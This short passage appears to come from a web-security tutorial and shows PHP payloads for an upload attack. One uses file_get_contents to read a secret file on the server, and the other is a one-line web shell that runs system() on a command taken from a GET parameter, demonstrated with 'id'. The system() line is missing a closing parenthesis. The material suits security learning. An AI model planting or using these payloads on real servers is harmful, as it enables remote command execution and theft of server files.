file_get_contents()
Script format:
<?php echo file_get_contents('/path/to/target/file'); ?>For example when we want to get content of file /home/user1/secret on the server:
<?php echo file_get_contents('/home/user1/secret'); ?>system()
Script format:
<?php echo system($_GET['command'] ?>It allow us to pass an arbitrary system command via a query parameter as follows:
GET /example/exploit.php?command=id HTTP/1.1command id is utility displays the user and group names and numeric IDs, of the calling process, to the standard output.
reference manual